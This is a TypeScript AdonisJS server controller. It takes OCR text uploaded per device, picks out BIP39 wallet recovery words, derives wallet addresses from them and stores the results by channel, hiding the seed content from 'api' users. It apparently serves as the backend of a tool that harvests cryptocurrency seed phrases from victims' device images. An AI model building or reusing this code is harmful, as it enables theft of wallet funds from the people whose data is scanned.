OcrRecordController.ts 9.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262
  1. import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import { schema } from '@ioc:Adonis/Core/Validator'
  4. import OcrRecord from 'App/Models/OcrRecord'
  5. import Drive from '@ioc:Adonis/Core/Drive'
  6. import BlockchainWalletService from 'App/Services/BlockchainWalletService'
  7. import * as bip39 from 'bip39'
  8. import { HttpStatusCode } from 'axios'
  9. import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
  10. export default class OcrRecordController {
  11. private paginationService = new PaginationService(OcrRecord)
  12. public async index({ request, auth }: HttpContextContract) {
  13. const user = auth.user
  14. const isApiUser = user?.$attributes?.role === 'api'
  15. const requestData = request.all()
  16. if (isApiUser) {
  17. requestData.channel = user.username
  18. }
  19. const res = await this.paginationService.paginate(requestData)
  20. if (isApiUser) {
  21. res.forEach((record) => {
  22. record.content = ''
  23. record.record = ''
  24. record.img = ''
  25. })
  26. } else {
  27. await Promise.all(
  28. res.map(async (record) => {
  29. if (record.img && record.img !== '-') {
  30. record.img = await Drive.getSignedUrl(
  31. new URL(record.img).pathname.replace(/^\//, '')
  32. )
  33. } else {
  34. record.img = ''
  35. }
  36. })
  37. )
  38. }
  39. return res
  40. }
  41. public async store({ request, bouncer }: HttpContextContract) {
  42. // await bouncer.authorize('admin')
  43. await request.validate({
  44. schema: schema.create({
  45. deviceId: schema.string(),
  46. record: schema.string()
  47. })
  48. })
  49. const data = request.all()
  50. data.content = await this.recordParsing(data.record)
  51. data.detail = await BlockchainWalletService.getAllAddresses(data.content)
  52. return await OcrRecord.create(data)
  53. }
  54. public async updateContent({ request, response }: HttpContextContract) {
  55. const data = await request.validate({
  56. schema: schema.create({
  57. id: schema.number(),
  58. content: schema.string()
  59. })
  60. })
  61. const record = await OcrRecord.findBy('id', request.input('id'))
  62. if (record) {
  63. record.content = data.content
  64. await record.save()
  65. return response.ok(record)
  66. } else {
  67. return response.notFound({ message: 'Record not found' })
  68. }
  69. }
  70. public async updateDetail({ params, response }: HttpContextContract) {
  71. const record = await OcrRecord.findBy('id', params.id)
  72. if (record) {
  73. const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
  74. record.detail = JSON.stringify(walletAddresses)
  75. await record.save()
  76. return response.ok(record)
  77. } else {
  78. return response.notFound({ message: 'Record not found.' })
  79. }
  80. }
  81. public async updateFavorite({ params, response }: HttpContextContract) {
  82. const record = await OcrRecord.findBy('id', params.id)
  83. if (record) {
  84. record.favorite = !record.favorite
  85. await record.save()
  86. return response.ok(record)
  87. } else {
  88. return response.notFound({ message: 'Record not found.' })
  89. }
  90. }
  91. public async favorite({ request, auth }: HttpContextContract) {
  92. const user = auth.user
  93. const isApiUser = user?.$attributes?.role === 'api'
  94. const requestData = request.all()
  95. requestData.favorite = 1
  96. if (isApiUser) {
  97. requestData.channel = user.username
  98. }
  99. const res = await this.paginationService.paginate(requestData)
  100. if (isApiUser) {
  101. res.forEach((record) => {
  102. record.content = ''
  103. record.record = ''
  104. record.img = ''
  105. })
  106. } else {
  107. await Promise.all(
  108. res.map(async (record) => {
  109. if (record.img && record.img !== '-') {
  110. record.img = await Drive.getSignedUrl(
  111. new URL(record.img).pathname.replace(/^\//, '')
  112. )
  113. }
  114. })
  115. )
  116. }
  117. return res
  118. }
  119. public async getAllAddresses({ request }: HttpContextContract) {
  120. await request.validate({
  121. schema: schema.create({
  122. mnemonic: schema.string()
  123. })
  124. })
  125. return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
  126. }
  127. public async recordParsing(record: string) {
  128. // 解析记录字符串
  129. const lines = record.split('\n')
  130. if (record.includes('Rec:') && record.includes('Det:')) {
  131. // 提取所有Rec:后面的文本
  132. lines
  133. .filter((line) => line.includes('Rec:'))
  134. .map((line) => {
  135. const parts = line.split('Rec:')
  136. if (parts.length < 2) return ''
  137. // 获取Rec:之后、Cls:之前的部分
  138. const afterRec = parts[1]
  139. const beforeCls = afterRec.split('Cls:')[0]
  140. // 找到最后一个逗号的位置
  141. const lastCommaIndex = beforeCls.lastIndexOf(',')
  142. // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
  143. return lastCommaIndex !== -1
  144. ? beforeCls.substring(0, lastCommaIndex).trim()
  145. : beforeCls.trim()
  146. })
  147. .filter((text) => text.length > 0)
  148. }
  149. // 从文本中提取潜在的助记词
  150. const potentialWords = new Set<string>()
  151. const englishWordRegex = /[a-zA-Z]+/g
  152. // 遍历所有行提取英文单词
  153. lines.forEach((line) => {
  154. const words = line.match(englishWordRegex)
  155. if (words) {
  156. words.forEach((word) => {
  157. // 忽略数字和分数值
  158. if (!word.includes('.') && isNaN(Number(word))) {
  159. potentialWords.add(word.toLowerCase())
  160. }
  161. })
  162. }
  163. })
  164. // 过滤出可能是BIP39助记词的单词
  165. const potentialBip39Words = Array.from(potentialWords).filter((word) => {
  166. // 使用bip39.wordlists.english检查单词是否在BIP39词表中
  167. return bip39.wordlists.english.includes(word)
  168. })
  169. // 寻找连续助记词序列
  170. const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
  171. console.log('Potential BIP39 words:', potentialBip39Words.toString())
  172. console.log('Potential mnemonics:', possibleMnemonics.toString())
  173. // 将所有可能的助记词合并为一个字符串返回
  174. if (possibleMnemonics.length < potentialBip39Words.length) {
  175. return potentialBip39Words.join(' ')
  176. }
  177. return possibleMnemonics.join(' ')
  178. }
  179. // 寻找可能的助记词序列
  180. private async findPossibleMnemonics(
  181. recTexts: string[],
  182. bip39Words: string[]
  183. ): Promise<string[]> {
  184. const mnemonics: string[] = []
  185. // 检查每行文本是否包含连续地助记词
  186. recTexts.forEach((text) => {
  187. const words = text.split(/\s+/)
  188. // 检查这一行是否包含多个BIP39词
  189. const bip39WordsInLine = words.filter((word) => {
  190. // 清理单词中的标点符号以及数字
  191. const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
  192. return bip39Words.includes(cleanWord)
  193. })
  194. // 如果找到多个BIP39词,可能是助记词序列
  195. if (bip39WordsInLine.length >= 3) {
  196. // mnemonics存入bip39WordsInLine中每一个元素
  197. bip39WordsInLine.map((word) => {
  198. mnemonics.push(word)
  199. })
  200. }
  201. })
  202. // 尝试从所有文本中提取12或24个词的序列
  203. // const allWords = recTexts.join(' ').split(/\s+/)
  204. // const bip39WordsInAll = allWords.filter((word) => {
  205. // const cleanWord = word.replace(/[.,;:!?]/g, '')
  206. // return bip39Words.includes(cleanWord)
  207. // })
  208. //
  209. // bip39WordsInAll.map((word) => {
  210. // mnemonics.push(word)
  211. // })
  212. // 查找12词或24词的连续序列
  213. // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
  214. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
  215. // if (bip39.validateMnemonic(possibleMnemonic)) {
  216. // mnemonics.push(possibleMnemonic)
  217. // }
  218. // }
  219. //
  220. // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
  221. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
  222. // if (bip39.validateMnemonic(possibleMnemonic)) {
  223. // mnemonics.push(possibleMnemonic)
  224. // }
  225. // }
  226. // 返回去重后的助记词列表
  227. return mnemonics
  228. }
  229. }